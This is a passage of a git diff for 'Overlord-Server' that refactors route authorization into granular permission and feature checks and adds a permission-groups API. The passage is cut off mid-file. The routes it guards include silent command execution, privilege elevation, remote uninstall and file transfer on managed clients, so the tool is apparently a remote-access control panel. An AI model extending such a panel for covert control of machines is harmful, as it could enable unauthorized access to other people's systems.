+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
@@ -95,8 +98,11 @@ export async function handleAutoScriptsRoutes(
         headers: { "Content-Type": "application/json" },
       });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "scripts:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
@@ -147,8 +153,11 @@ export async function handleAutoScriptsRoutes(
         headers: { "Content-Type": "application/json" },
       });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "scripts:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     deleteAutoScript(autoScriptMatch[1]);
diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts
index 1b2cefb..dc033ed 100644
--- a/Overlord-Server/src/server/routes/build-routes.ts
+++ b/Overlord-Server/src/server/routes/build-routes.ts
@@ -852,10 +852,7 @@ export async function handleBuildRoutes(
     }
 
     if (req.method === "POST" && url.pathname === "/api/build/update-all") {
-      requirePermission(user, "clients:build");
-      if (user.role !== "admin") {
-        return new Response("Forbidden: Admin access required", { status: 403 });
-      }
+      requirePermission(user, "deploys:manage");
 
       let body: any = {};
       try {
diff --git a/Overlord-Server/src/server/routes/chat-routes.ts b/Overlord-Server/src/server/routes/chat-routes.ts
index 8dc18e4..0a8097e 100644
--- a/Overlord-Server/src/server/routes/chat-routes.ts
+++ b/Overlord-Server/src/server/routes/chat-routes.ts
@@ -1,7 +1,7 @@
 import { authenticateRequest } from "../../auth";
 import { getConfig } from "../../config";
 import { getChatHistory, getOnlineClientCountForUser } from "../../db";
-import { hasPermission } from "../../users";
+import { hasPermission } from "../../rbac";
 
 export async function handleChatRoutes(
   req: Request,
diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts
index 186f227..277de79 100644
--- a/Overlord-Server/src/server/routes/client-routes.ts
+++ b/Overlord-Server/src/server/routes/client-routes.ts
@@ -29,7 +29,7 @@ import {
 } from "../../db";
 import { metrics } from "../../metrics";
 import { encodeMessage } from "../../protocol";
-import { requirePermission } from "../../rbac";
+import { requireClientAccess, requireFeatureAccess, requirePermission } from "../../rbac";
 import {
   canUserAccessClient,
   getUserClientAccessScope,
@@ -158,8 +158,11 @@ export async function handleClientRoutes(
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
 
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "network:manage-bans");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     if (req.method === "GET") {
@@ -208,8 +211,11 @@ export async function handleClientRoutes(
     }
 
     const targetId = banMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, targetId)) {
-      return new Response("Forbidden: Client access denied", { status: 403 });
+    try {
+      requireClientAccess(user, targetId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const target = clientManager.getClient(targetId);
     const targetIp = target?.ip || getClientIp(targetId);
@@ -247,8 +253,11 @@ export async function handleClientRoutes(
       return new Response("Unauthorized", { status: 401 });
     }
     const clientId = thumbnailMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, clientId)) {
-      return new Response("Forbidden: Client access denied", { status: 403 });
+    try {
+      requireClientAccess(user, clientId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const { requestThumbnailRegen, markThumbnailRequested, getThumbnailVersion, waitForThumbnail, clearThumbnailRequest } = await import("../../thumbnails");
     markThumbnailRequested(clientId);
@@ -286,8 +295,11 @@ export async function handleClientRoutes(
       return new Response("Unauthorized", { status: 401 });
     }
     const clientId = thumbnailMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, clientId)) {
-      return new Response("Forbidden: Client access denied", { status: 403 });
+    try {
+      requireClientAccess(user, clientId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const { getThumbnailRecord } = await import("../../thumbnails");
     const record = getThumbnailRecord(clientId);
@@ -349,8 +361,11 @@ export async function handleClientRoutes(
     }
 
     const targetId = clientDeleteMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, targetId)) {
-      return new Response("Forbidden: Client access denied", { status: 403 });
+    try {
+      requireClientAccess(user, targetId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const target = clientManager.getClient(targetId);
     const isOnlineInDb = getClientOnlineState(targetId);
@@ -399,15 +414,19 @@ export async function handleClientRoutes(
     if (!user) return new Response("Unauthorized", { status: 401 });
 
     try {
-      requirePermission(user, "clients:control");
+      requirePermission(user, "clients:metadata");
+      requireFeatureAccess(user, "client_metadata");
     } catch (error) {
       if (error instanceof Response) return error;
       return new Response("Forbidden", { status: 403 });
     }
 
     const targetId = clientNicknameMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, targetId)) {
-      return new Response("Forbidden: Client access denied", { status: 403 });
+    try {
+      requireClientAccess(user, targetId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     if (!clientExists(targetId)) {
       return Response.json({ error: "Client not found" }, { status: 404 });
@@ -456,15 +475,19 @@ export async function handleClientRoutes(
     if (!user) return new Response("Unauthorized", { status: 401 });
 
     try {
-      requirePermission(user, "clients:control");
+      requirePermission(user, "clients:metadata");
+      requireFeatureAccess(user, "client_metadata");
     } catch (error) {
       if (error instanceof Response) return error;
       return new Response("Forbidden", { status: 403 });
     }
 
     const targetId = clientTagMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, targetId)) {
-      return new Response("Forbidden: Client access denied", { status: 403 });
+    try {
+      requireClientAccess(user, targetId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     if (!clientExists(targetId)) {
       return Response.json({ error: "Client not found" }, { status: 404 });
@@ -517,7 +540,7 @@ export async function handleClientRoutes(
   if (req.method === "PATCH" && url.pathname === "/api/clients/bulk-notifications-muted") {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    try { requirePermission(user, "clients:control"); } catch (error) {
+    try { requirePermission(user, "clients:metadata"); requireFeatureAccess(user, "client_metadata"); } catch (error) {
       if (error instanceof Response) return error;
       return new Response("Forbidden", { status: 403 });
     }
@@ -555,14 +578,17 @@ export async function handleClientRoutes(
   if (req.method === "PATCH" && muteMatch) {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    try { requirePermission(user, "clients:control"); } catch (error) {
+    try { requirePermission(user, "clients:metadata"); requireFeatureAccess(user, "client_metadata"); } catch (error) {
       if (error instanceof Response) return error;
       return new Response("Forbidden", { status: 403 });
     }
 
     const targetId = muteMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, targetId)) {
-      return new Response("Forbidden: Client access denied", { status: 403 });
+    try {
+      requireClientAccess(user, targetId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     if (!clientExists(targetId)) {
       return Response.json({ error: "Client not found" }, { status: 404 });
@@ -602,8 +628,11 @@ export async function handleClientRoutes(
     if (!user) return new Response("Unauthorized", { status: 401 });
 
     const targetId = bookmarkMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, targetId)) {
-      return new Response("Forbidden: Client access denied", { status: 403 });
+    try {
+      requireClientAccess(user, targetId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     if (!clientExists(targetId)) {
       return Response.json({ error: "Client not found" }, { status: 404 });
@@ -639,8 +668,11 @@ export async function handleClientRoutes(
       }
 
       const targetId = cmdMatch[1];
-      if (!canUserAccessClient(user.userId, user.role, targetId)) {
-        return new Response("Forbidden: Client access denied", { status: 403 });
+      try {
+        requireClientAccess(user, targetId);
+      } catch (error) {
+        if (error instanceof Response) return error;
+        return new Response("Forbidden", { status: 403 });
       }
       const target = clientManager.getClient(targetId);
       const ip = server.requestIP(req)?.address || "unknown";
@@ -661,6 +693,13 @@ export async function handleClientRoutes(
           for (let i = 0; i < count; i++) {
           }
         } else if (action === "disconnect") {
+          try {
+            requirePermission(user, "clients:disconnect");
+            requireFeatureAccess(user, "disconnect");
+          } catch (error) {
+            if (error instanceof Response) return error;
+            return new Response("Forbidden", { status: 403 });
+          }
           target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() }));
           metrics.recordCommand("disconnect");
           logAudit({
@@ -672,6 +711,13 @@ export async function handleClientRoutes(
             success: true,
           });
         } else if (action === "reconnect") {
+          try {
+            requirePermission(user, "clients:reconnect");
+            requireFeatureAccess(user, "reconnect");
+          } catch (error) {
+            if (error instanceof Response) return error;
+            return new Response("Forbidden", { status: 403 });
+          }
           target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() }));
           metrics.recordCommand("reconnect");
           logAudit({
@@ -774,8 +820,11 @@ export async function handleClientRoutes(
             return Response.json({ ok: false, error: error.message || "Voice capability probe failed" }, { status: 504 });
           }
         } else if (action === "silent_exec") {
-          if (user.role !== "admin") {
-            return new Response("Forbidden: Admin access required", { status: 403 });
+          try {
+            requirePermission(user, "clients:silent-exec");
+          } catch (error) {
+            if (error instanceof Response) return error;
+            return new Response("Forbidden", { status: 403 });
           }
 
           const command = typeof body?.command === "string" ? body.command.trim() : "";
@@ -806,6 +855,13 @@ export async function handleClientRoutes(
             details: JSON.stringify({ command, args, cwd }),
           });
         } else if (action === "uninstall") {
+          try {
+            requirePermission(user, "clients:uninstall");
+            requireFeatureAccess(user, "uninstall");
+          } catch (error) {
+            if (error instanceof Response) return error;
+            return new Response("Forbidden", { status: 403 });
+          }
           target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() }));
           metrics.recordCommand("uninstall");
           clientManager.deleteClient(targetId);
@@ -821,8 +877,11 @@ export async function handleClientRoutes(
             success: true,
           });
         } else if (action === "elevate") {
-          if (user.role !== "admin") {
-            return new Response("Forbidden: Admin access required", { status: 403 });
+          try {
+            requirePermission(user, "clients:silent-exec");
+          } catch (error) {
+            if (error instanceof Response) return error;
+            return new Response("Forbidden", { status: 403 });
           }
 
           const password = typeof body?.password === "string" ? body.password : "";
@@ -980,7 +1039,7 @@ export async function handleClientRoutes(
   if (req.method === "PATCH" && url.pathname === "/api/clients/bulk-group") {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    try { requirePermission(user, "clients:control"); } catch (error) {
+    try { requirePermission(user, "clients:metadata"); requireFeatureAccess(user, "client_metadata"); } catch (error) {
       if (error instanceof Response) return error;
       return new Response("Forbidden", { status: 403 });
     }
@@ -1019,14 +1078,17 @@ export async function handleClientRoutes(
   if (req.method === "PATCH" && clientGroupMatch) {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    try { requirePermission(user, "clients:control"); } catch (error) {
+    try { requirePermission(user, "clients:metadata"); requireFeatureAccess(user, "client_metadata"); } catch (error) {
       if (error instanceof Response) return error;
       return new Response("Forbidden", { status: 403 });
     }
 
     const targetId = clientGroupMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, targetId)) {
-      return new Response("Forbidden: Client access denied", { status: 403 });
+    try {
+      requireClientAccess(user, targetId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     if (!clientExists(targetId)) {
       return Response.json({ error: "Client not found" }, { status: 404 });
diff --git a/Overlord-Server/src/server/routes/deploy-routes.ts b/Overlord-Server/src/server/routes/deploy-routes.ts
index c9189be..7b51d3c 100644
--- a/Overlord-Server/src/server/routes/deploy-routes.ts
+++ b/Overlord-Server/src/server/routes/deploy-routes.ts
@@ -7,6 +7,7 @@ import { AuditAction, logAudit } from "../../auditLog";
 import * as clientManager from "../../clientManager";
 import { metrics } from "../../metrics";
 import { encodeMessage } from "../../protocol";
+import { requirePermission } from "../../rbac";
 import { createUploadPull } from "./file-download-routes";
 
 type RequestIpProvider = {
@@ -44,8 +45,11 @@ export async function handleDeployRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "deploys:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let form: FormData;
@@ -87,8 +91,11 @@ export async function handleDeployRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "deploys:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
@@ -166,8 +173,11 @@ export async function handleDeployRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "deploys:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
@@ -289,8 +299,11 @@ export async function handleDeployRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "deploys:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
diff --git a/Overlord-Server/src/server/routes/enrollment-routes.ts b/Overlord-Server/src/server/routes/enrollment-routes.ts
index 4adb569..0888267 100644
--- a/Overlord-Server/src/server/routes/enrollment-routes.ts
+++ b/Overlord-Server/src/server/routes/enrollment-routes.ts
@@ -346,8 +346,11 @@ export async function handleEnrollmentRoutes(
   if (req.method === "GET" && url.pathname === "/api/enrollment/banned-ips") {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "network:manage-bans");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     return Response.json({ items: listBannedIps() });
@@ -357,8 +360,11 @@ export async function handleEnrollmentRoutes(
   if (req.method === "DELETE" && url.pathname === "/api/enrollment/banned-ips") {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "network:manage-bans");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     const ipToUnban = (url.searchParams.get("ip") || "").trim();
@@ -384,8 +390,11 @@ export async function handleEnrollmentRoutes(
   if (req.method === "POST" && url.pathname === "/api/enrollment/ban-ip") {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "network:manage-bans");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any;
diff --git a/Overlord-Server/src/server/routes/file-download-routes.test.ts b/Overlord-Server/src/server/routes/file-download-routes.test.ts
index a490674..2e7290b 100644
--- a/Overlord-Server/src/server/routes/file-download-routes.test.ts
+++ b/Overlord-Server/src/server/routes/file-download-routes.test.ts
@@ -395,7 +395,7 @@ describe("file route feature_browser enforcement", () => {
 
       expect(res).not.toBeNull();
       expect(res!.status).toBe(403);
-      expect(await res!.text()).toContain("client access denied");
+      expect(await res!.text()).toContain("do not have access to this client");
     } finally {
       clientManager.deleteClient(clientId);
       deleteUser(auth.userId);
diff --git a/Overlord-Server/src/server/routes/file-download-routes.ts b/Overlord-Server/src/server/routes/file-download-routes.ts
index c463f72..6802172 100644
--- a/Overlord-Server/src/server/routes/file-download-routes.ts
+++ b/Overlord-Server/src/server/routes/file-download-routes.ts
@@ -8,7 +8,7 @@ import { logger } from "../../logger";
 import { encodeMessage } from "../../protocol";
 import { getConfig } from "../../config";
 import { isAuthorizedAgentRequest } from "../agent-auth";
-import { canUserAccessClient, canUserAccessFeature } from "../../users";
+import { requireClientAccess, requireFeatureAccess, requirePermission } from "../../rbac";
 
 type RequestIpProvider = {
   requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -156,12 +156,18 @@ async function serveDownloadById(
   if (!user) {
     return new Response("Unauthorized", { status: 401 });
   }
-  if (user.role !== "admin" && user.role !== "operator") {
-    return new Response("Forbidden: Admin or operator access required", { status: 403 });
+  try {
+    requirePermission(user, "clients:control");
+  } catch (error) {
+    if (error instanceof Response) return error;
+    return new Response("Forbidden", { status: 403 });
   }
 
-  if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
-    return new Response("Forbidden: feature access denied", { status: 403 });
+  try {
+    requireFeatureAccess(user, "file_browser");
+  } catch (error) {
+    if (error instanceof Response) return error;
+    return new Response("Forbidden", { status: 403 });
   }
 
   logger.debug("[filebrowser] http download request", {
@@ -345,8 +351,11 @@ export async function handleFileDownloadRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin" && user.role !== "operator") {
-      return new Response("Forbidden: Admin or operator access required", { status: 403 });
+    try {
+      requirePermission(user, "clients:control");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
@@ -363,12 +372,12 @@ export async function handleFileDownloadRoutes(
       return new Response("Bad request", { status: 400 });
     }
 
-    if (!canUserAccessClient(user.userId, user.role as any, clientId)) {
-      return new Response("Forbidden: client access denied", { status: 403 });
-    }
-
-    if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
-      return new Response("Forbidden: feature access denied", { status: 403 });
+    try {
+      requireClientAccess(user, clientId);
+      requireFeatureAccess(user, "file_browser");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     logger.debug("[filebrowser] http upload request", {
@@ -412,12 +421,18 @@ export async function handleFileDownloadRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin" && user.role !== "operator") {
-      return new Response("Forbidden: Admin or operator access required", { status: 403 });
+    try {
+      requirePermission(user, "clients:control");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
-    if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
-      return new Response("Forbidden: feature access denied", { status: 403 });
+    try {
+      requireFeatureAccess(user, "file_browser");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let uploadId = "";
@@ -642,8 +657,11 @@ export async function handleFileDownloadRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin" && user.role !== "operator") {
-      return new Response("Forbidden: Admin or operator access required", { status: 403 });
+    try {
+      requirePermission(user, "clients:control");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
@@ -659,12 +677,12 @@ export async function handleFileDownloadRoutes(
       return new Response("Bad request", { status: 400 });
     }
 
-    if (!canUserAccessClient(user.userId, user.role as any, clientId)) {
-      return new Response("Forbidden: client access denied", { status: 403 });
-    }
-
-    if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
-      return new Response("Forbidden: feature access denied", { status: 403 });
+    try {
+      requireClientAccess(user, clientId);
+      requireFeatureAccess(user, "file_browser");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     const target = clientManager.getClient(clientId);
diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts
index b57f7da..b636d8d 100644
--- a/Overlord-Server/src/server/routes/misc-routes.ts
+++ b/Overlord-Server/src/server/routes/misc-routes.ts
@@ -110,8 +110,11 @@ export async function handleMiscRoutes(
       return new Response("Unauthorized", { status: 401 });
     }
 
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "system:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     if (req.method === "GET") {
@@ -157,8 +160,11 @@ export async function handleMiscRoutes(
       return new Response("Unauthorized", { status: 401 });
     }
 
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "system:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     if (req.method === "GET") {
@@ -209,8 +215,11 @@ export async function handleMiscRoutes(
       return new Response("Unauthorized", { status: 401 });
     }
 
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "system:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
@@ -447,8 +456,11 @@ export async function handleMiscRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "system:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     const exportData = getExportableConfig(deps.SERVER_VERSION);
@@ -477,8 +489,11 @@ export async function handleMiscRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "system:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
@@ -526,8 +541,11 @@ export async function handleMiscRoutes(
       return new Response("Unauthorized", { status: 401 });
     }
 
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "system:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     if (req.method === "GET") {
@@ -564,8 +582,11 @@ export async function handleMiscRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "system:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     if (req.method === "GET") {
@@ -627,7 +648,7 @@ export async function handleMiscRoutes(
   if (url.pathname === "/api/settings/registration") {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") return new Response("Forbidden: Admin access required", { status: 403 });
+    try { requirePermission(user, "system:configure"); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); }
 
     if (req.method === "GET") {
       return Response.json({ registration: getConfig().registration }, { headers: deps.CORS_HEADERS });
@@ -643,6 +664,7 @@ export async function handleMiscRoutes(
         mode: body?.mode,
         defaultRole: body?.defaultRole,
         maxUsersTotal: body?.maxUsersTotal !== undefined ? Number(body.maxUsersTotal) : undefined,
+        defaultGroupIds: Array.isArray(body?.defaultGroupIds) ? body.defaultGroupIds : undefined,
       });
 
       logAudit({
@@ -662,7 +684,7 @@ export async function handleMiscRoutes(
   if (url.pathname === "/api/settings/build-rate-limit") {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") return new Response("Forbidden: Admin access required", { status: 403 });
+    try { requirePermission(user, "system:configure"); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); }
 
     if (req.method === "GET") {
       return Response.json({ buildRateLimit: getConfig().buildRateLimit }, { headers: deps.CORS_HEADERS });
@@ -703,7 +725,7 @@ export async function handleMiscRoutes(
     }
 
     if (req.method === "PUT") {
-      if (user.role !== "admin") return new Response("Forbidden: Admin access required", { status: 403 });
+      try { requirePermission(user, "system:configure"); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); }
 
       let body: any = {};
       try { body = await req.json(); } catch {
diff --git a/Overlord-Server/src/server/routes/notifications-config-routes.ts b/Overlord-Server/src/server/routes/notifications-config-routes.ts
index 4029d4a..d422d4a 100644
--- a/Overlord-Server/src/server/routes/notifications-config-routes.ts
+++ b/Overlord-Server/src/server/routes/notifications-config-routes.ts
@@ -9,6 +9,7 @@ import {
   getUserNotificationSettings,
   updateUserNotificationSettings,
 } from "../../users";
+import { requirePermission } from "../../rbac";
 import {
   DEFAULT_WEBHOOK_TEMPLATE,
   DEFAULT_TELEGRAM_TEMPLATE,
@@ -76,8 +77,11 @@ export async function handleNotificationsConfigRoutes(
         headers: { "Content-Type": "application/json" },
       });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "system:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     return Response.json({ notifications: getConfig().notifications });
   }
@@ -90,10 +94,11 @@ export async function handleNotificationsConfigRoutes(
         headers: { "Content-Type": "application/json" },
       });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", {
-        status: 403,
-      });
+    try {
+      requirePermission(user, "system:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
diff --git a/Overlord-Server/src/server/routes/permission-groups-routes.ts b/Overlord-Server/src/server/routes/permission-groups-routes.ts
new file mode 100644
index 0000000..fd9544e
--- /dev/null
+++ b/Overlord-Server/src/server/routes/permission-groups-routes.ts
@@ -0,0 +1,258 @@
+import { authenticateRequest } from "../../auth";
+import { AuditAction, logAudit } from "../../auditLog";
+import {
+  createPermissionGroup,
+  deletePermissionGroup,
+  getPermissionGroup,
+  getUserById,
+  getUserExtraPermissions,
+  getUserGroupIds,
+  listPermissionGroups,
+  setUserExtraPermissions,
+  setUserGroups,
+  updatePermissionGroup,
+} from "../../users";
+import {
+  getPermissionDescription,
+  type Permission,
+  requirePermission,
+} from "../../rbac";
+
+const KNOWN_PERMISSIONS: Permission[] = [
+  "users:manage",
+  "clients:control",
+  "clients:build",
+  "clients:enroll",
+  "clients:silent-exec",
+  "clients:disconnect",
+  "clients:reconnect",
+  "clients:metadata",
+  "clients:uninstall",
+  "clients:winre",
+  "audit:view",
+  "chat:write",
+  "scripts:manage",
+  "deploys:manage",
+  "plugins:manage",
+  "plugins:configure",
+  "network:manage-bans",
+  "system:configure",
+];
+
+function sanitizePermissions(raw: unknown): string[] {
+  if (!Array.isArray(raw)) return [];
+  const known = new Set<string>(KNOWN_PERMISSIONS);
+  return Array.from(
+    new Set(
+      raw
+        .filter((p): p is string => typeof p === "string")
+        .map((p) => p.trim())
+        .filter((p) => known.has(p)),
+    ),
+  );
+}
+
+type RequestIpProvider = {
+  requestIP: (req: Request) => { address?: string } | null | undefined;
+};
+
+export async function handlePermissionGroupsRoutes(
+  req: Request,
+  url: URL,
+  server: RequestIpProvider,
+): Promise<Response | null> {
+  if (req.method === "GET" && url.pathname === "/api/permissions") {
+    const user = await authenticateRequest(req);
+    try {
+      requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
+    return Response.json({
+      permissions: KNOWN_PERMISSIONS.map((p) => ({
+        id: p,
+        description: getPermissionDescription(p),
+      })),
+    });
+  }
+
+  if (req.method === "GET" && url.pathname === "/api/permission-groups") {
+    const user = await authenticateRequest(req);
+    try {
+      requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
+    return Response.json({ groups: listPermissionGroups() });
+  }
+
+  if (req.method === "POST" && url.pathname === "/api/permission-groups") {
+    const user = await authenticateRequest(req);
+    let authed;
+    try {
+      authed = requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
+    let body: any;
+    try { body = await req.json(); } catch { return Response.json({ error: "Invalid JSON" }, { status: 400 }); }
+    const name = typeof body?.name === "string" ? body.name : "";
+    const description = typeof body?.description === "string" ? body.description : null;
+    const permissions = sanitizePermissions(body?.permissions);
+
+    const result = createPermissionGroup(name, description, permissions, authed.userId);
+    if (!result.success) return Response.json({ error: result.error }, { status: 400 });
+
+    logAudit({
+      timestamp: Date.now(),
+      username: authed.username,
+      ip: server.requestIP(req)?.address || "unknown",
+      action: AuditAction.COMMAND,
+      details: `Created permission group "${result.group!.name}" with ${result.group!.permissions.length} permissions`,
+      success: true,
+    });
+
+    return Response.json({ group: result.group });
+  }
+
+  const singleGroupMatch = url.pathname.match(/^\/api\/permission-groups\/(\d+)$/);
+  if (singleGroupMatch) {
+    const groupId = Number(singleGroupMatch[1]);
+    const user = await authenticateRequest(req);
+    let authed;
+    try {
+      authed = requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
